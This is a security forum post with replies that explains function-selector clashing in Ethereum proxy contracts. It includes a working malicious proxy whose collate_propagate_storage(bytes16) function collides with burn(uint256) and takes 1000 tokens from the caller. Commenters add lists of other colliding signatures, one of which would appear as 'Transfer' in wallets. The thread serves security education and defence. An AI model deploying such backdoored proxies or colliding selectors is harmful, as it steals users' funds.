Beware of the proxy: learn how to exploit function clashing

In this post we’ll take a look at how an honest, trusted and well-known implementation of a token contract could be leveraged by an attacker to steal tokens by means of function clashing. Working proof-of-concept exploit code included.

Note that function clashing was first properly introduced in Nomic Lab’s “Malicious backdoors in Ethereum Proxies”. That’s where I first read about function clashing, so kudos to Patricio Palladino for the amazing work.


Immutable code is frightening, no doubt. That's why many projects in the Ethereum ecosystem have been pushing forward the idea of upgradeability mechanisms via proxy contracts. Such mechanisms allow for, among other things, quick bug-fixing and adding new features on top of already deployed contracts.

One incredibly interesting feature of proxies is that they can be leveraged to achieve on-chain code reusability. In an ideal world, reputable projects which have built resilient battle-tested code could deploy their code to the blockchain and have everyone point their proxies to the trusted on-chain code.

Then, all a regular developer would need to do is to deploy a proxy and have users interact with the application through it. Such proxy would in turn delegatecall to the on-chain code of other people’s trusted and verifiable code.

This proxy could look like this:

pragma solidity ^0.5.0;

contract Proxy {
    
    address public proxyOwner;
    address public implementation;

    constructor(address implementation) public {
        proxyOwner = msg.sender;
        _setImplementation(implementation);
    }

    modifier onlyProxyOwner() {
        require(msg.sender == proxyOwner);
        _;
    }

    function upgrade(address implementation) external onlyProxyOwner {
        _setImplementation(implementation);
    }

    function _setImplementation(address imp) private {
        implementation = imp;
    }

    function () payable external {
        address impl = implementation;

        assembly {
            calldatacopy(0, 0, calldatasize)
            let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
            returndatacopy(0, 0, returndatasize)

            switch result
            case 0 { revert(0, returndatasize) }
            default { return(0, returndatasize) }
        }
    }
}

One step further, the developer could show all users that the system uses SomeReallyWellKnownAndTrustedProject‘s code, by just showcasing that the proxy’s implementation state variable points to the address of the SomeReallyWellKnownAndTrustedProject's on-chain implementation.

For the sake of the example, let’s consider that in this case that the implementation is a flawless trusted burnable token built with well-known libraries such as the upgradeable version of OpenZeppelin Contracts:

pragma solidity ^0.5.0;

import "openzeppelin-eth/contracts/token/ERC20/ERC20Burnable.sol";
import "openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol";
import "zos-lib/contracts/Initializable.sol";

contract BurnableToken is Initializable, ERC20Burnable, ERC20Detailed {

    function initialize(
        string memory name,
        string memory symbol,
        uint8 decimals,
        uint256 initialSupply
    ) 
        public 
        initializer
    {
        super.initialize(name, symbol, decimals);
        _mint(msg.sender, initialSupply);
    }
}

So far so good, right ?. Things are about to get evil now :smiling_imp:.

Enter the evil proxy

Remember the proxy we saw before ? Well, let's add one additional short function to it:

pragma solidity ^0.5.0;

contract Proxy {
    
    address public proxyOwner;
    address public implementation;

    constructor(address implementation) public {
        proxyOwner = msg.sender;
        _setImplementation(implementation);
    }

    modifier onlyProxyOwner() {
        require(msg.sender == proxyOwner);
        _;
    }

    function upgrade(address implementation) external onlyProxyOwner {
        _setImplementation(implementation);
    }

    function _setImplementation(address imp) private {
        implementation = imp;
    }

    function () payable external {
        address impl = implementation;

        assembly {
            calldatacopy(0, 0, calldatasize)
            let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
            returndatacopy(0, 0, returndatasize)

            switch result
            case 0 { revert(0, returndatasize) }
            default { return(0, returndatasize) }
        }
    }
    
    // This is the function we're adding now
    function collate_propagate_storage(bytes16) external {
        implementation.delegatecall(abi.encodeWithSignature(
            "transfer(address,uint256)", proxyOwner, 1000
        ));
    }
}

Hmm. That collate_propagate_storage(bytes16) at the bottom looks shady, doesn’t it?. But who cares! If I’m a user that’s going to interact with this proxy, all I’d need to do is avoid calling that weird function. Which should be rather easy considering how strange the name is - for sure anyone can’t call it by mistake.

But hey, this is Ethereum. And Ethereum is fun (at least for us security researchers :stuck_out_tongue:). Let’s see what happens if a user wants to burn some tokens:

That’s what the user sees, which is miles away from what the Ethereum Virtual Machine (EVM) sees. What the EVM actually sees is more like this:

So what are those cryptic 0x42966c68 things ? Andreas Antonopoulos’ “Mastering Ethereum” can shed some light into this:

[In the Ethereum Virtual Machine] each function is identified by the first 4 bytes of its Keccak-256 hash. By placing the function’s name and what arguments it takes into a keccak256 hash function, we can deduce its function identifier.

Amazingly (well, actually it’s just probabilities :nerd_face:) the 4-bytes identifier of collate_propagate_storage(bytes16) and burn(uint256) are exactly the same ; namely, 0x42966c68. How can we confirm this ? Pocketh!

$ pocketh selector "collate_propagate_storage(bytes16)"
0x42966c68

$ pocketh selector "burn(uint256)"
0x42966c68

Exploiting function clashing

As the burn call is done through the proxy, the EVM will first check whether there’s any function in the proxy’s code whose identifier matches 0x42966c68. If there were none, then the fallback function of the proxy would be executed and the call delegated to the address stored in the implementation.

However, in this case, the proxy does include a function whose identifier matches 0x42966c68: collate_propagate_storage(bytes16). As a result, it gets executed.

Let’s remember what it looks like:

function collate_propagate_storage(bytes16) external {
   implementation.delegatecall(abi.encodeWithSignature(
       "transfer(address,uint256)", proxyOwner, 1000
   ));
}

So the function will actually force the caller to transfer 1000 tokens to the owner of the proxy! .

image

Jeez, that's tough. Poor user only wanted to burn a token and ended up with 1000 less tokens.

See it in action

Wanna see the code, right ? Don’t worry, I’ve got you covered!. Here’s a working proof-of-concept exploit for this function clashing.

Does this work without a proxy ?

Nope, the Solidity compiler is smart enough to detect function clashing during compilation. So it's not possible to build a Solidity contract that clashes two functions.

Do program analysis tools detect function clashing in two separate contracts ?

Yes! Slither has a really nice plugin which should detect function clashing between two contracts (proxy and implementation) right away.

Takeaway

Never ever ever ever blindly trust a proxy! Even if it points to a trusted implementation. Make sure you can verify the code of the proxy you're interacting with, and that it is battle-tested and well-known.

Bear in mind that the shady proxy we saw earlier is just a simple and obvious proof-of-concept. There’s plenty of room to make the code of collate_propagate_storage(bytes16) waaay more obscure, so that you’d never notice what the function is doing.

On top of that, the proxy’s code may not even be verified in Etherscan, which would make things far trickier.

30 Likes

Loved the writeup @tinchoabbate!! I guess my part now is to add how this impacts proxies used in the OpenZeppelin SDK (formerly known as ZeppelinOS).

The answer is: it doesn’t. The proxies used in OpenZeppelin SDK only have a predefined set of methods (upgrade, setAdmin, etc), and no new methods can be added to them (like collate_propagate_storage in the example).

However, it would still be possible for an attacker to find out a clash between the proxy’s upgrade and a function in the logic contract. To prevent this, we implemented what we called the transparent proxy pattern. In an OpenZeppelin SDK proxy, the admin can call only the proxy functions, and any other address can only call the logic contract functions. This prevents any possibility of clashing, since the actual function being called is determined by the sender as well as by the selector.

This is a pretty nasty attack, and most delegating proxies are vulnerable to it, unless they follow this transparent pattern.

15 Likes

Excellent write up @tinchoabbate Glad to also see @spalladino’s response as well. Stay safe out there developers! Don’t trust code blindly!

3 Likes

Heh, I'm glad someone actually came up with an exploit, instead of a hand-wavy "this could definitely be exploited, if I wasn't so preoccupied". :laughing:

Inspired by the post, I decided to finish populating the other ERC-20 signatures, and yesterday the script spit out this:

remove_good(uint256[],bytes8,bool)

Granted, it's a collision with allowance(address,address), so a slightly different profile (most user-initiated calls to it are off-chain). Still, one could imagine a legitimate function by that name, with those arguments...

... that does "something low-level, something a proxy could definitely be doing".

2 Likes

Hi @veox,

Welcome to the community forum :wave: Nice to see you here.

Will be interested to see what other function clashes your script generates.

All of the current clashes:boom: for ERC-20 and ERC-165 are mine (from different versions of the script)... Except for one!

transfer(bytes4[9],bytes5[6],int48[11])

... is a collision with ERC-20's transfer(address,uint256).

This is peculiar, since e.g. in Metamask it'll show as "Transfer": there'd be no discerning between a regular transfer() and the "malicious" one, at least not visually, not for the regular user.

Judging from the ID number in 4byte.directory, it's been added fairly recently.


:boom: Here's a manually-compiled list. >>> are mine, !!! is not; ??? are missing.

;; ERC20
(def '*get-owner*           0x8da5cb5b) ; owner()
                                        ; >>> ideal_warn_timed(uint256,uint128)
(def '*get-name*            0x06fdde03) ; name()
                                        ; ???
(def '*get-symbol*          0x95d89b41) ; symbol()
                                        ; >>> link_classic_internal(uint64,int64)
(def '*get-decimals*        0x313ce567) ; decimals()
                                        ; >>> available_assert_time(uint16,uint64)
(def '*get-total-supply*    0x18160ddd) ; totalSupply()
                                        ; ???
(def '*get-balance*         0x70a08231) ; balanceOf(address)
                                        ; ???
(def '*transfer*            0xa9059cbb) ; transfer(address,uint256)
                                        ; >>> many_msg_babbage(bytes1)
                                        ; !!! transfer(bytes4[9],bytes5[6],int48[11])
(def '*collect*             0x23b872dd) ; transferFrom(address,address,uint256)
                                        ; >>> gasprice_bit_ether(int128)
(def '*approve*             0x095ea7b3) ; approve(address,uint256)
                                        ; >>> sign_szabo_bytecode(bytes16,uint128)
(def '*get-allowance*       0xdd62ed3e) ; allowance(address,address)
                                        ; >>> remove_good(uint256[],bytes8,bool)
;; ERC165
(def '*supports-interface*  0x01ffc9a7) ; supportsInterface(bytes4)
                                        ; >>> pizza_mandate_apology(uint256)
;; extras
(def '*init*                0xe1c7392a) ; init()
                                        ; ???
(def '*upgrade*             0xd55ec697) ; upgrade()
                                        ; >>> coral_cable_news(uint256)
(def '*mint*                0x1249c58b) ; mint()
                                        ; ???
(def '*burn*                0x42966c68) ; burn(uint256)
                                        ; >>> collate_propagate_storage(bytes16)

(Yes, collate_propagate_storage(bytes16), too. ^_^)

5 Likes

nice, thanks for doing this @veox!

2 Likes

There doesn't seem to be an edit button anymore; so:

(def '*get-balance*         0x70a08231) ; balanceOf(address)
                                        ; >>> branch_passphrase_public(uint256,bytes8)
                                        ; >>> passphrase_calculate_transfer(uint64,address)
1 Like

I think after a while, comments cannot be edited anymore. Posting new comments is good, or you could put all of the clashes in a git repo and share the link. Thanksk @veox!

2 Likes

Thanks for the post! Was wondering about all the collisions I saw in the 4-byte directory and needed to add to the blacklist (https://github.com/ethereum-lists/4bytes/blob/master/black.lst) - this explains where they might come from.

3 Likes

Hi @ligi,

Great to see you here :wave:

I assume it is @veox finding more clashes.

1 Like

Some of those are mine (those that look Python-like). Others (for the 0x00000000 selector) were found by various people in the “let’s find a collision, to highlight the issue!” in April 2018. A few more I don’t know where come from.

1 Like

@ligi, you probably know everything below, but I’ll state it anyway, for anyone looking on.


I think the very fact that you have a blacklist shows why collisions are dangerous. (I’m assuming you’re compiling it for use in a user-facing application.)

The only proper way use of selectors is to derive a selector from a function signature for a particular contract, by using that contract’s ABI (and verifying that the ABI matches the source code while doing so).

In other words, ABIs allow the signature->selector mapping (not the reverse!), by an application that assumes the provided ABI is correct.

So, what Metamask is currently doing, displaying call names by using a selector->signature look-up across “a database of known selectors”, – that’s plain wrong, misguiding to the user, and exploitable (as described in OP).

What may be a compromise is having “a database of common selectors”, and prominently showing that the name of the function called is just a guess (for all contracts that didn’t have their specific ABIs checked).

2 Likes

Yes - in an ideal world we have verified metadata+source code. There is currently some progress on this (pushed hardly by ethchris)


The problem is a bit of a chicken/egg type there and unfortunately until it solved IMHO it is better to show the signatures from the 4-byte db instead of training users to sign random hex strings …

3 Likes

Hi all.. Thanks for such a great article.

@tinchoabbate

Btw, I somehow can't understand 2 things.

Question 1) I think this attack will only be possible if the proxy contract itself has a malicious code meaning that it's the hacker who writes and deploys proxy contract.

Question 2) @spalladino mentions the following:

The answer is: it doesn’t . The proxies used in OpenZeppelin SDK only have a predefined set of methods ( upgrade , setAdmin , etc), and no new methods can be added to them (like collate_propagate_storage in the example).

However, it would still be possible for an attacker to find out a clash between the proxy’s upgrade and a function in the logic contract.

What kind of attack do you mean by this ? let's say upgrade function's clash method is test123 which is written in the logic contract.

So

  • we have upgrade in proxy
  • we have test123 in logic contract

If user calls upgrade, proxy's upgrade executes
If user calls test123, which should by default call logic contract's test123, but this will call upgrade again. Since user is not the admin, he won't be able to execute the function at all due to permission. This means that user won't be able to call test123 at all in the logic contract, but the idea is that, whoever writes logic contract, would take care of not naming a function such a horrible name. Even if he did, this is not exploitable at all in a security way.

Am I missing something ? Thanks in advance .

1 Like

Hi @gushuna,

Welcome to the community :wave:

It really depends on the design of the proxy mechanism. For instance this isn't possible as Palla described using OpenZeppelin proxies that are now part of OpenZeppelin Upgrades Plugins and OpenZeppelin Contracts

I recommend reading:

If a proxy didn't follow the transparent proxy pattern, and a malicious user called a function that had the same signature on the proxy as the admin then it would be called on the proxy and wouldn't get to fallback.

So I am not sure how this would work in this scenario.

Hi @gushuna,

In this scenario, the admin can be tricked into calling a function on the proxy thinking that they're calling a function on the implementation (through the fallback). The fact that the fallback isn't called is part of the attack.

Thanks for the follow up, Andrew…

@abcoathup

The key point I am making here is that the attack name clashing causes would only be possible if the proxy code contains malicious code or maybe the function with the same signature as the logic contract’s one of the function. In both cases, nothing too serious can happen(I mean the BIG attack, like stealing something)… This article that we are on now has a BIG Attack chance, because it’s the hacker who owns the proxy contract.

If the hacker doesn’t own the proxy contract, no BIG attack could occur. The only attacks that could happen is just name clashing and not calling the function from the logic contract that it should be calling.

What do you think ?

1 Like

Hi @novaknole,

My understanding is the attacker would need to deploy a malicious proxy or a malicious implementation, or trick the deployer to deploy either one of these.

I also suggest looking at:

So this would require 2 functions to have the same 4-bytes and also the same amount and type of arguments?